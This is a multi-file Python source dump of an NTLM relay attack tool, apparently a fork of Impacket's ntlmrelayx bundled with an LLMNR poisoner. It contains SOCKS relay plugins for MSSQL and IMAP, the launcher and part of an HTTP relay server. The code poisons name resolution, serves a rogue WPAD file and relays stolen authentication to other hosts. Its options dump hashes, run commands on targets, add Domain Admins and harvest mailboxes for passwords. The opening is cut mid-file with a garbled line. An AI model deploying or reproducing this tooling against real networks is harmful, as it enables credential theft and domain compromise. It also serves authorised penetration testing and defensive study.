66 | prelogin['Encryption'] = TDS_ENCRYPT_NOT_SUP
67 | prelogin['ThreadID'] = struct.pack('=0:
103 | try:
104 | self.username = login['UserName'].upper().decode('utf-16le')
105 | except UnicodeDecodeError:
106 | # Not Unicode encoded?
107 | self.username = login['UserName'].upper()
108 |
109 | else:
110 | try:
111 | self.username = ('/%s' % login['UserName'].decode('utf-16le')).upper()
112 | except UnicodeDecodeError:
113 | # Not Unicode encoded?
114 | self.username = ('/%s' % login['UserName']).upper()
115 |
116 | # Check if we have a connection for the user
117 | if self.activeRelays.has_key(self.username):
118 | # Check the connection is not inUse
119 | if self.activeRelays[self.username]['inUse'] is True:
120 | LOG.error('MSSQL: Connection for %s@%s(%s) is being used at the moment!' % (
121 | self.username, self.targetHost, self.targetPort))
122 | return False
123 | else:
124 | LOG.info('MSSQL: Proxying client session for %s@%s(%s)' % (
125 | self.username, self.targetHost, self.targetPort))
126 | self.session = self.activeRelays[self.username]['protocolClient'].session
127 | else:
128 | LOG.error('MSSQL: No session for %s@%s(%s) available' % (
129 | self.username, self.targetHost, self.targetPort))
130 | return False
131 |
132 | # We have a session relayed, let's answer back with the data
133 | if login['OptionFlags2'] & TDS_INTEGRATED_SECURITY_ON:
134 | TDSResponse = self.sessionData['AUTH_ANSWER']
135 | self.sendTDS(TDSResponse['Type'], TDSResponse['Data'], 0)
136 | else:
137 | TDSResponse = self.sessionData['AUTH_ANSWER']
138 | self.sendTDS(TDSResponse['Type'], TDSResponse['Data'], 0)
139 |
140 | return True
141 |
142 | def tunnelConnection(self):
143 | # For the rest of the remaining packets, we should just read and send. Except when trying to log out,
144 | # that's forbidden! ;)
145 | try:
146 | while True:
147 | # 1. Get Data from client
148 | tds = self.recvTDS()
149 | # 2. Send it to the relayed session
150 | self.session.sendTDS(tds['Type'], tds['Data'], 0)
151 | # 3. Get the target's answer
152 | tds = self.session.recvTDS()
153 | # 4. Send it back to the client
154 | self.sendTDS(tds['Type'], tds['Data'], 0)
155 | except Exception, e:
156 | # Probably an error here
157 | if LOG.level == logging.DEBUG:
158 | import traceback
159 | traceback.print_exc()
160 |
161 | return True
162 |
163 | def sendTDS(self, packetType, data, packetID = 1):
164 | if (len(data)-8) > self.packetSize:
165 | remaining = data[self.packetSize-8:]
166 | tds = TDSPacket()
167 | tds['Type'] = packetType
168 | tds['Status'] = TDS_STATUS_NORMAL
169 | tds['PacketID'] = packetID
170 | tds['Data'] = data[:self.packetSize-8]
171 | self.socketSendall(str(tds))
172 |
173 | while len(remaining) > (self.packetSize-8):
174 | packetID += 1
175 | tds['PacketID'] = packetID
176 | tds['Data'] = remaining[:self.packetSize-8]
177 | self.socketSendall(str(tds))
178 | remaining = remaining[self.packetSize-8:]
179 | data = remaining
180 | packetID+=1
181 |
182 | tds = TDSPacket()
183 | tds['Type'] = packetType
184 | tds['Status'] = TDS_STATUS_EOM
185 | tds['PacketID'] = packetID
186 | tds['Data'] = data
187 | self.socketSendall(str(tds))
188 |
189 | def socketSendall(self,data):
190 | if self.tlsSocket is None:
191 | return self.socksSocket.sendall(data)
192 | else:
193 | self.tlsSocket.sendall(data)
194 | dd = self.tlsSocket.bio_read(self.packetSize)
195 | return self.socksSocket.sendall(dd)
196 |
197 | def socketRecv(self, packetSize):
198 | data = self.socksSocket.recv(packetSize)
199 | if self.tlsSocket is not None:
200 | dd = ''
201 | self.tlsSocket.bio_write(data)
202 | while True:
203 | try:
204 | dd += self.tlsSocket.read(packetSize)
205 | except SSL.WantReadError:
206 | data2 = self.socket.recv(packetSize - len(data) )
207 | self.tlsSocket.bio_write(data2)
208 | pass
209 | else:
210 | data = dd
211 | break
212 | return data
213 |
214 | def recvTDS(self, packetSize=None):
215 | # Do reassembly here
216 | if packetSize is None:
217 | packetSize = self.packetSize
218 | packet = TDSPacket(self.socketRecv(packetSize))
219 | status = packet['Status']
220 | packetLen = packet['Length'] - 8
221 | while packetLen > len(packet['Data']):
222 | data = self.socketRecv(packetSize)
223 | packet['Data'] += data
224 |
225 | remaining = None
226 | if packetLen < len(packet['Data']):
227 | remaining = packet['Data'][packetLen:]
228 | packet['Data'] = packet['Data'][:packetLen]
229 |
230 | while status != TDS_STATUS_EOM:
231 | if remaining is not None:
232 | tmpPacket = TDSPacket(remaining)
233 | else:
234 | tmpPacket = TDSPacket(self.socketRecv(packetSize))
235 |
236 | packetLen = tmpPacket['Length'] - 8
237 | while packetLen > len(tmpPacket['Data']):
238 | data = self.socketRecv(packetSize)
239 | tmpPacket['Data'] += data
240 |
241 | remaining = None
242 | if packetLen < len(tmpPacket['Data']):
243 | remaining = tmpPacket['Data'][packetLen:]
244 | tmpPacket['Data'] = tmpPacket['Data'][:packetLen]
245 |
246 | status = tmpPacket['Status']
247 | packet['Data'] += tmpPacket['Data']
248 | packet['Length'] += tmpPacket['Length'] - 8
249 |
250 | # print packet['Length']
251 | return packet
252 |
253 |
254 |
--------------------------------------------------------------------------------
/ntlmrelayx/servers/socksplugins/imap.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2013-2017 CORE Security Technologies
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # A Socks Proxy for the IMAP Protocol
8 | #
9 | # Author:
10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
11 | #
12 | # Description:
13 | # A simple SOCKS server that proxies a connection to relayed IMAP connections
14 | #
15 | # ToDo:
16 | #
17 | import logging
18 | import base64
19 |
20 | from imaplib import IMAP4
21 | from impacket import LOG
22 | from impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay
23 |
24 | # Besides using this base class you need to define one global variable when
25 | # writing a plugin:
26 | PLUGIN_CLASS = "IMAPSocksRelay"
27 | EOL = '\r\n'
28 |
29 | class IMAPSocksRelay(SocksRelay):
30 | PLUGIN_NAME = 'IMAP Socks Plugin'
31 | PLUGIN_SCHEME = 'IMAP'
32 |
33 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays):
34 | SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)
35 | self.packetSize = 8192
36 | self.idleState = False
37 | self.shouldClose = True
38 |
39 | @staticmethod
40 | def getProtocolPort():
41 | return 143
42 |
43 | def getServerCapabilities(self):
44 | for key in self.activeRelays.keys():
45 | if self.activeRelays[key].has_key('protocolClient'):
46 | return self.activeRelays[key]['protocolClient'].session.capabilities
47 |
48 | def initConnection(self):
49 | pass
50 |
51 | def skipAuthentication(self):
52 | self.socksSocket.sendall('* OK The Microsoft Exchange IMAP4 service is ready.'+EOL)
53 |
54 | # Next should be the client requesting CAPABILITIES
55 | tag, cmd = self.recvPacketClient()
56 | if cmd.upper() == 'CAPABILITY':
57 | clientcapabilities = list(self.getServerCapabilities())
58 | # Don't offer these AUTH options so the client won't use them
59 | blacklist = ['AUTH=GSSAPI', 'AUTH=NTLM', 'LOGINDISABLED']
60 | for cap in blacklist:
61 | if cap in clientcapabilities:
62 | clientcapabilities.remove(cap)
63 |
64 | # Offer PLAIN auth for specifying the username
65 | if 'AUTH=PLAIN' not in clientcapabilities:
66 | clientcapabilities.append('AUTH=PLAIN')
67 | # Offer LOGIN for specifying the username
68 | if 'LOGIN' not in clientcapabilities:
69 | clientcapabilities.append('LOGIN')
70 |
71 | LOG.debug('IMAP: Sending mirrored capabilities from server: %s' % ' '.join(clientcapabilities))
72 | self.socksSocket.sendall('* CAPABILITY %s%s%s OK CAPABILITY completed.%s' % (' '.join(clientcapabilities), EOL, tag, EOL))
73 | else:
74 | LOG.error('IMAP: Socks plugin expected CAPABILITY command, but got: %s' % cmd)
75 | return False
76 | # next
77 | tag, cmd = self.recvPacketClient()
78 | args = cmd.split(' ')
79 | if cmd.upper() == 'AUTHENTICATE PLAIN':
80 | # Send continuation command
81 | self.socksSocket.sendall('+'+EOL)
82 | # Client will now send their AUTH
83 | data = self.socksSocket.recv(self.packetSize)
84 | # This contains base64(\x00username\x00password), decode and split
85 | creds = base64.b64decode(data.strip())
86 | self.username = creds.split('\x00')[1].upper()
87 | elif args[0].upper() == 'LOGIN':
88 | # Simple login
89 | self.username = args[1].upper()
90 | else:
91 | LOG.error('IMAP: Socks plugin expected LOGIN or AUTHENTICATE PLAIN command, but got: %s' % cmd)
92 | return False
93 |
94 | # Check if we have a connection for the user
95 | if self.activeRelays.has_key(self.username):
96 | # Check the connection is not inUse
97 | if self.activeRelays[self.username]['inUse'] is True:
98 | LOG.error('IMAP: Connection for %s@%s(%s) is being used at the moment!' % (
99 | self.username, self.targetHost, self.targetPort))
100 | return False
101 | else:
102 | LOG.info('IMAP: Proxying client session for %s@%s(%s)' % (
103 | self.username, self.targetHost, self.targetPort))
104 | self.session = self.activeRelays[self.username]['protocolClient'].session
105 | else:
106 | LOG.error('IMAP: No session for %s@%s(%s) available' % (
107 | self.username, self.targetHost, self.targetPort))
108 | return False
109 |
110 | # We arrived here, that means all is OK
111 | self.socksSocket.sendall('%s OK %s completed.%s' % (tag, args[0].upper(), EOL))
112 | self.relaySocket = self.session.sock
113 | self.relaySocketFile = self.session.file
114 | return True
115 |
116 | def tunnelConnection(self):
117 | keyword = ''
118 | tag = ''
119 | while True:
120 | try:
121 | data = self.socksSocket.recv(self.packetSize)
122 | except Exception, e:
123 | # Socks socket (client) closed connection or something else. Not fatal for killing the existing relay
124 | print keyword, tag
125 | LOG.debug('IMAP: sockSocket recv(): %s' % (str(e)))
126 | break
127 | # If this returns with an empty string, it means the socket was closed
128 | if data == '':
129 | break
130 | # Set the new keyword, unless it is false, then break out of the function
131 | result = self.processTunnelData(keyword, tag, data)
132 |
133 | if result is False:
134 | break
135 | # If its not false, it's a tuple with the keyword and tag
136 | keyword, tag = result
137 |
138 | if tag != '':
139 | # Store the tag in the session so we can continue
140 | tag = int(tag)
141 | if self.idleState is True:
142 | self.relaySocket.sendall('DONE%s' % EOL)
143 | self.relaySocketFile.readline()
144 |
145 | if self.shouldClose:
146 | tag +=1
147 | self.relaySocket.sendall('%s CLOSE%s' % (tag, EOL))
148 | self.relaySocketFile.readline()
149 |
150 | self.session.tagnum = tag+1
151 |
152 | return
153 |
154 | def processTunnelData(self, keyword, tag, data):
155 | # Pass the request to the server, store the tag unless the last command
156 | # was a continuation. In the case of the continuation we still check if
157 | # there were commands issued after
158 | analyze = data.split(EOL)[:-1]
159 | if keyword == '+':
160 | # We do send the continuation to the server
161 | # but we don't analyze it
162 | self.relaySocket.sendall(analyze.pop(0)+EOL)
163 | keyword = ''
164 |
165 | for line in analyze:
166 | info = line.split(' ')
167 | tag = info[0]
168 | # See if a LOGOUT command was sent, in which case we want to close
169 | # the connection to the client but keep the relayed connection alive
170 | # also handle APPEND commands
171 | try:
172 | if info[1].upper() == 'IDLE':
173 | self.idleState = True
174 | elif info[1].upper() == 'DONE':
175 | self.idleState = False
176 | elif info[1].upper() == 'CLOSE':
177 | self.shouldClose = False
178 | elif info[1].upper() == 'LOGOUT':
179 | self.socksSocket.sendall('%s OK LOGOUT completed.%s' % (tag, EOL))
180 | return False
181 | elif info[1].upper() == 'APPEND':
182 | LOG.debug('IMAP socks APPEND command detected, forwarding email data')
183 | # APPEND command sent, forward all the data, no further commands here
184 | self.relaySocket.sendall(data)
185 | sent = len(data) - len(line) + len(EOL)
186 |
187 | # https://tools.ietf.org/html/rfc7888
188 | literal = info[4][1:-1]
189 | if literal[-1] == '+':
190 | literalPlus = True
191 | totalSize = int(literal[:-1])
192 | else:
193 | literalPlus = False
194 | totalSize = int(literal)
195 |
196 | while sent < totalSize:
197 | data = self.socksSocket.recv(self.packetSize)
198 | self.relaySocket.sendall(data)
199 | sent += len(data)
200 | LOG.debug('Forwarded %d bytes' % sent)
201 |
202 | if literalPlus:
203 | data = self.socksSocket.recv(self.packetSize)
204 | self.relaySocket.sendall(data)
205 |
206 | LOG.debug('IMAP socks APPEND command complete')
207 | # break out of the analysis loop
208 | break
209 | except IndexError:
210 | pass
211 | self.relaySocket.sendall(line+EOL)
212 |
213 | # Send the response back to the client, until the command is complete
214 | # or the server requests more data
215 | while keyword != tag and keyword != '+':
216 | try:
217 | data = self.relaySocketFile.readline()
218 | except Exception, e:
219 | # This didn't break the connection to the server, don't make it fatal
220 | LOG.debug("IMAP relaySocketFile: %s" % str(e))
221 | return False
222 | keyword = data.split(' ', 2)[0]
223 | try:
224 | self.socksSocket.sendall(data)
225 | except Exception, e:
226 | LOG.debug("IMAP socksSocket: %s" % str(e))
227 | return False
228 |
229 | # Return the keyword to indicate processing was OK
230 | return (keyword, tag)
231 |
232 |
233 | def recvPacketClient(self):
234 | data = self.socksSocket.recv(self.packetSize)
235 | space = data.find(' ')
236 | return (data[:space], data[space:].strip())
237 |
238 |
239 |
--------------------------------------------------------------------------------
/ultrarelay.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # Copyright (c) 2013-2016 CORE Security Technologies
3 | #
4 | # This software is provided under under a slightly modified version
5 | # of the Apache Software License. See the accompanying LICENSE file
6 | # for more information.
7 | #
8 | # Generic NTLM Relay Module
9 | #
10 | # Authors:
11 | # Alberto Solino (@agsolino)
12 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
13 | #
14 | # Description:
15 | # This module performs the SMB Relay attacks originally discovered
16 | # by cDc extended to many target protocols (SMB, MSSQL, LDAP, etc).
17 | # It receives a list of targets and for every connection received it
18 | # will choose the next target and try to relay the credentials. Also, if
19 | # specified, it will first to try authenticate against the client connecting
20 | # to us.
21 | #
22 | # It is implemented by invoking a SMB and HTTP Server, hooking to a few
23 | # functions and then using the specific protocol clients (e.g. SMB, LDAP).
24 | # It is supposed to be working on any LM Compatibility level. The only way
25 | # to stop this attack is to enforce on the server SPN checks and or signing.
26 | #
27 | # If the authentication against the targets succeeds, the client authentication
28 | # succeeds as well and a valid connection is set against the local smbserver.
29 | # It's up to the user to set up the local smbserver functionality. One option
30 | # is to set up shares with whatever files you want to so the victim thinks it's
31 | # connected to a valid SMB server. All that is done through the smb.conf file or
32 | # programmatically.
33 | #
34 |
35 | import argparse
36 | import sys
37 | import logging
38 | import cmd
39 | import urllib2
40 | import json
41 | from threading import Thread
42 |
43 | from impacket import version
44 | from impacket.examples import logger
45 | from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig
46 | from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, TargetsFileWatcher
47 | from impacket.examples.ntlmrelayx.servers.socksserver import SOCKS
48 |
49 | from ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer
50 |
51 | RELAY_SERVERS = ( SMBRelayServer, HTTPRelayServer )
52 |
53 | class MiniShell(cmd.Cmd):
54 | def __init__(self, relayConfig, threads):
55 | cmd.Cmd.__init__(self)
56 |
57 | self.prompt = 'ntlmrelayx> '
58 | self.tid = None
59 | self.relayConfig = relayConfig
60 | self.intro = 'Type help for list of commands'
61 | self.relayThreads = threads
62 | self.serversRunning = True
63 |
64 | @staticmethod
65 | def printTable(items, header):
66 | colLen = []
67 | for i, col in enumerate(header):
68 | rowMaxLen = max([len(row[i]) for row in items])
69 | colLen.append(max(rowMaxLen, len(col)))
70 |
71 | outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])
72 |
73 | # Print header
74 | print outputFormat.format(*header)
75 | print ' '.join(['-' * itemLen for itemLen in colLen])
76 |
77 | # And now the rows
78 | for row in items:
79 | print outputFormat.format(*row)
80 |
81 | def emptyline(self):
82 | pass
83 |
84 | def do_targets(self, line):
85 | for url in self.relayConfig.target.originalTargets:
86 | print url.geturl()
87 | return
88 |
89 | def do_socks(self, line):
90 | headers = ["Protocol", "Target", "Username", "Port"]
91 | url = "http://localhost:9090/ntlmrelayx/api/v1.0/relays"
92 | try:
93 | proxy_handler = urllib2.ProxyHandler({})
94 | opener = urllib2.build_opener(proxy_handler)
95 | response = urllib2.Request(url)
96 | r = opener.open(response)
97 | result = r.read()
98 | items = json.loads(result)
99 | except Exception, e:
100 | logging.error("ERROR: %s" % str(e))
101 | else:
102 | if len(items) > 0:
103 | self.printTable(items, header=headers)
104 | else:
105 | logging.info('No Relays Available!')
106 |
107 | def do_startservers(self, line):
108 | if not self.serversRunning:
109 | start_servers(options, self.relayThreads)
110 | self.serversRunning = True
111 | logging.info('Relay servers started')
112 | else:
113 | logging.error('Relay servers are already running!')
114 |
115 | def do_stopservers(self, line):
116 | if self.serversRunning:
117 | stop_servers(self.relayThreads)
118 | self.serversRunning = False
119 | logging.info('Relay servers stopped')
120 | else:
121 | logging.error('Relay servers are already stopped!')
122 |
123 | def do_exit(self, line):
124 | print "Shutting down, please wait!"
125 | return True
126 |
127 | def start_servers(options, threads):
128 | for server in RELAY_SERVERS:
129 | #Set up config
130 | c = NTLMRelayxConfig()
131 | c.setProtocolClients(PROTOCOL_CLIENTS)
132 | c.setRunSocks(options.socks, socksServer)
133 | c.setTargets(targetSystem)
134 | c.setExeFile(options.e)
135 | c.setCommand(options.c)
136 | c.setEnumLocalAdmins(options.enum_local_admins)
137 | c.setEncoding(codec)
138 | c.setMode(mode)
139 | c.setAttacks(PROTOCOL_ATTACKS)
140 | c.setLootdir(options.lootdir)
141 | c.setOutputFile(options.output_file)
142 | c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.escalate_user)
143 | c.setMSSQLOptions(options.query)
144 | c.setInteractive(options.interactive)
145 | c.setIMAPOptions(options.keyword, options.mailbox, options.all, options.imap_max)
146 | c.setIPv6(options.ipv6)
147 | c.setWpadOptions(options.wpad_host, options.wpad_auth_num)
148 | c.setSMB2Support(options.smb2support)
149 | c.setInterfaceIp(options.interface_ip)
150 |
151 |
152 | #If the redirect option is set, configure the HTTP server to redirect targets to SMB
153 | if server is HTTPRelayServer and options.r is not None:
154 | c.setMode('REDIRECT')
155 | c.setRedirectHost(options.r)
156 |
157 | #Use target randomization if configured and the server is not SMB
158 | #SMB server at the moment does not properly store active targets so selecting them randomly will cause issues
159 | if server is not SMBRelayServer and options.random:
160 | c.setRandomTargets(True)
161 |
162 | s = server(c)
163 | s.start()
164 | threads.add(s)
165 | return c
166 |
167 | def stop_servers(threads):
168 | todelete = []
169 | for thread in threads:
170 | if isinstance(thread, RELAY_SERVERS):
171 | thread.server.shutdown()
172 | todelete.append(thread)
173 | # Now remove threads from the set
174 | for thread in todelete:
175 | threads.remove(thread)
176 | del thread
177 |
178 | # Process command-line arguments.
179 | if __name__ == '__main__':
180 |
181 | # Init the example's logger theme
182 | logger.init()
183 |
184 | print "UltraRealy v0.1 - md5_salt & tomato"
185 | print "Based on Impacket and Responder\n"
186 | #Parse arguments
187 | parser = argparse.ArgumentParser(add_help = False, description = "For every connection received, this module will "
188 | "try to relay that connection to specified target(s) system or the original client")
189 | parser._optionals.title = "Main options"
190 |
191 | #Main arguments
192 | parser.add_argument("-h","--help", action="help", help='show this help message and exit')
193 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
194 | parser.add_argument('-t',"--target", action='store', metavar = 'TARGET', help='Target to relay the credentials to, '
195 | 'can be an IP, hostname or URL like smb://server:445 If unspecified, it will relay back to the client')
196 | parser.add_argument('-tf', action='store', metavar = 'TARGETSFILE', help='File that contains targets by hostname or '
197 | 'full URL, one per line')
198 | parser.add_argument('-w', action='store_true', help='Watch the target file for changes and update target list '
199 | 'automatically (only valid with -tf)')
200 | parser.add_argument('-i','--interactive', action='store_true',help='Launch an smbclient console instead'
201 | 'of executing a command after a successful relay. This console will listen locally on a '
202 | ' tcp port and can be reached with for example netcat.')
203 |
204 | # Interface address specification
205 | parser.add_argument('-ip','--interface-ip', action='store', metavar='INTERFACE_IP', help='IP address of interface to '
206 | 'bind SMB and HTTP servers',default='', required=True)
207 |
208 | parser.add_argument('-ra','--random', action='store_true', help='Randomize target selection (HTTP server only)')
209 | parser.add_argument('-r', action='store', metavar = 'SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER')
210 | parser.add_argument('-l','--lootdir', action='store', type=str, required=False, metavar = 'LOOTDIR',default='.', help='Loot '
211 | 'directory in which gathered loot such as SAM dumps will be stored (default: current directory).')
212 | parser.add_argument('-of','--output-file', action='store',help='base output filename for encrypted hashes. Suffixes '
213 | 'will be added for ntlm and ntlmv2')
214 | parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
215 | '"%s"). If errors are detected, run chcp.com at the target, '
216 | 'map the result with '
217 | 'https://docs.python.org/2.4/lib/standard-encodings.html and then execute ntlmrelayx.py '
218 | 'again with -codec and the corresponding codec ' % sys.getdefaultencoding())
219 | parser.add_argument('-smb2support', action="store_true", default=False, help='SMB2 Support (experimental!)')
220 | parser.add_argument('-socks', action='store_true', default=False,
221 | help='Launch a SOCKS proxy for the connection relayed')
222 | parser.add_argument('-wh','--wpad-host', action='store',help='Enable serving a WPAD file for Proxy Authentication attack, '
223 | 'setting the proxy host to the one supplied.')
224 | parser.add_argument('-wa','--wpad-auth-num', action='store',help='Prompt for authentication N times for clients without MS16-077 installed '
225 | 'before serving a WPAD file.')
226 | parser.add_argument('-6','--ipv6', action='store_true',help='Listen on both IPv6 and IPv4')
227 |
228 | #SMB arguments
229 | smboptions = parser.add_argument_group("SMB client options")
230 |
231 | smboptions.add_argument('-e', action='store', required=False, metavar = 'FILE', help='File to execute on the target system. '
232 | 'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)')
233 | smboptions.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on '
234 | 'target system. If not specified, hashes will be dumped (secretsdump.py must be in the same '
235 | 'directory).')
236 | smboptions.add_argument('--enum-local-admins', action='store_true', required=False, help='If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)')
237 |
238 | #MSSQL arguments
239 | mssqloptions = parser.add_argument_group("MSSQL client options")
240 | mssqloptions.add_argument('-q','--query', action='append', required=False, metavar = 'QUERY', help='MSSQL query to execute'
241 | '(can specify multiple)')
242 |
243 | #LDAP options
244 | ldapoptions = parser.add_argument_group("LDAP client options")
245 | ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information')
246 | ldapoptions.add_argument('--no-da', action='store_false', required=False, help='Do not attempt to add a Domain Admin')
247 | ldapoptions.add_argument('--no-acl', action='store_false', required=False, help='Disable ACL attacks')
248 | ldapoptions.add_argument('--escalate-user', action='store', required=False, help='Escalate privileges of this user instead of creating a new one')
249 |
250 | #IMAP options
251 | imapoptions = parser.add_argument_group("IMAP client options")
252 | imapoptions.add_argument('-k','--keyword', action='store', metavar="KEYWORD", required=False, default="password", help='IMAP keyword to search for. '
253 | 'If not specified, will search for mails containing "password"')
254 | imapoptions.add_argument('-m','--mailbox', action='store', metavar="MAILBOX", required=False, default="INBOX", help='Mailbox name to dump. Default: INBOX')
255 | imapoptions.add_argument('-a','--all', action='store_true', required=False, help='Instead of searching for keywords, '
256 | 'dump all emails')
257 | imapoptions.add_argument('-im','--imap-max', action='store',type=int, required=False,default=0, help='Max number of emails to dump '
258 | '(0 = unlimited, default: no limit)')
259 |
260 | try:
261 | options = parser.parse_args()
262 | except Exception as e:
263 | logging.error(str(e))
264 | sys.exit(1)
265 |
266 | if options.debug is True:
267 | logging.getLogger().setLevel(logging.DEBUG)
268 | else:
269 | logging.getLogger().setLevel(logging.INFO)
270 | logging.getLogger('impacket.smbserver').setLevel(logging.ERROR)
271 |
272 | threads = set()
273 |
274 | # Launch LLMNR Poisoner
275 | from llmnrpoison import settings, serve_LLMNR_poisoner, LLMNR
276 | settings.Config.set(options.interface_ip)
277 | llmnrpoison_thread = Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,))
278 | llmnrpoison_thread.daemon = True
279 | llmnrpoison_thread.start()
280 | threads.add(llmnrpoison_thread)
281 |
282 | # Let's register the protocol clients we have
283 | # ToDo: Do this better somehow
284 | from impacket.examples.ntlmrelayx.clients import PROTOCOL_CLIENTS
285 | from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS
286 |
287 |
288 | if options.codec is not None:
289 | codec = options.codec
290 | else:
291 | codec = sys.getdefaultencoding()
292 |
293 | if options.target is not None:
294 | logging.info("Running in relay mode to single host")
295 | mode = 'RELAY'
296 | targetSystem = TargetsProcessor(singleTarget=options.target, protocolClients=PROTOCOL_CLIENTS)
297 | else:
298 | if options.tf is not None:
299 | #Targetfile specified
300 | logging.info("Running in relay mode to hosts in targetfile")
301 | targetSystem = TargetsProcessor(targetListFile=options.tf, protocolClients=PROTOCOL_CLIENTS)
302 | mode = 'RELAY'
303 | else:
304 | logging.info("Running in reflection mode")
305 | targetSystem = None
306 | mode = 'REFLECTION'
307 |
308 | if options.r is not None:
309 | logging.info("Running HTTP server in redirect mode")
310 |
311 | if targetSystem is not None and options.w:
312 | watchthread = TargetsFileWatcher(targetSystem)
313 | watchthread.start()
314 |
315 |
316 | socksServer = None
317 | if options.socks is True:
318 | # Start a SOCKS proxy in the background
319 | socksServer = SOCKS()
320 | socksServer.daemon_threads = True
321 | socks_thread = Thread(target=socksServer.serve_forever)
322 | socks_thread.daemon = True
323 | socks_thread.start()
324 | threads.add(socks_thread)
325 |
326 | c = start_servers(options, threads)
327 |
328 | print ""
329 | logging.info("Servers started, waiting for connections")
330 | try:
331 | if options.socks:
332 | shell = MiniShell(c, threads)
333 | shell.cmdloop()
334 | else:
335 | sys.stdin.read()
336 | except KeyboardInterrupt:
337 | pass
338 | else:
339 | pass
340 |
341 | if options.socks is True:
342 | socksServer.shutdown()
343 | del socksServer
344 |
345 | for s in threads:
346 | del s
347 |
348 | sys.exit(0)
349 |
350 |
351 |
352 |
--------------------------------------------------------------------------------
/ntlmrelayx/servers/httprelayserver.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2013-2018 CORE Security Technologies
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # HTTP Relay Server
8 | #
9 | # Authors:
10 | # Alberto Solino (@agsolino)
11 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
12 | #
13 | # Description:
14 | # This is the HTTP server which relays the NTLMSSP messages to other protocols
15 |
16 | import SimpleHTTPServer
17 | import SocketServer
18 | import socket
19 | import base64
20 | import random
21 | import struct
22 | import string
23 | import traceback
24 | from threading import Thread
25 |
26 | from impacket import ntlm, LOG
27 | from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile
28 | from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS
29 | from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor
30 | from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections
31 | from impacket.ntlm import NTLMAuthChallenge
32 |
33 | class HTTPRelayServer(Thread):
34 |
35 | class HTTPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
36 | def __init__(self, server_address, RequestHandlerClass, config):
37 | self.config = config
38 | self.daemon_threads = True
39 | if self.config.ipv6:
40 | self.address_family = socket.AF_INET6
41 | # Tracks the number of times authentication was prompted for WPAD per client
42 | self.wpad_counters = {}
43 | SocketServer.TCPServer.__init__(self,server_address, RequestHandlerClass)
44 |
45 | class HTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
46 | def __init__(self,request, client_address, server):
47 | self.server = server
48 | self.protocol_version = 'HTTP/1.1'
49 | self.challengeMessage = None
50 | self.target = None
51 | self.client = None
52 | self.machineAccount = None
53 | self.machineHashes = None
54 | self.domainIp = None
55 | self.authUser = None
56 | self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; return "PROXY %s:80; DIRECT";} '
57 | if self.server.config.mode != 'REDIRECT':
58 | if self.server.config.target is None:
59 | # Reflection mode, defaults to SMB at the target, for now
60 | self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0])
61 | self.target = self.server.config.target.getTarget(self.server.config.randomtargets)
62 | LOG.info("HTTPD: Received connection from %s, attacking target %s://%s" % (client_address[0] ,self.target.scheme, self.target.netloc))
63 | try:
64 | SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server)
65 | except Exception, e:
66 | LOG.error(str(e))
67 | LOG.debug(traceback.format_exc())
68 |
69 | def handle_one_request(self):
70 | try:
71 | SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self)
72 | except KeyboardInterrupt:
73 | raise
74 | except Exception, e:
75 | LOG.error('Exception in HTTP request handler: %s' % e)
76 | LOG.debug(traceback.format_exc())
77 |
78 | def log_message(self, format, *args):
79 | return
80 |
81 | def send_error(self, code, message=None):
82 | if message.find('RPC_OUT') >=0 or message.find('RPC_IN'):
83 | return self.do_GET()
84 | return SimpleHTTPServer.SimpleHTTPRequestHandler.send_error(self,code,message)
85 |
86 | def serve_wpad(self):
87 | wpadResponse = self.wpad % (self.server.config.wpad_host, self.server.config.wpad_host)
88 | self.send_response(200)
89 | self.send_header('Content-type', 'application/x-ns-proxy-autoconfig')
90 | self.send_header('Content-Length',len(wpadResponse))
91 | self.end_headers()
92 | self.wfile.write(wpadResponse)
93 | return
94 |
95 | def should_serve_wpad(self, client):
96 | # If the client was already prompted for authentication, see how many times this happened
97 | try:
98 | num = self.server.wpad_counters[client]
99 | except KeyError:
100 | num = 0
101 | self.server.wpad_counters[client] = num + 1
102 | # Serve WPAD if we passed the authentication offer threshold
103 | if num >= self.server.config.wpad_auth_num:
104 | return True
105 | else:
106 | return False
107 |
108 | def do_HEAD(self):
109 | self.send_response(200)
110 | self.send_header('Content-type', 'text/html')
111 | self.end_headers()
112 |
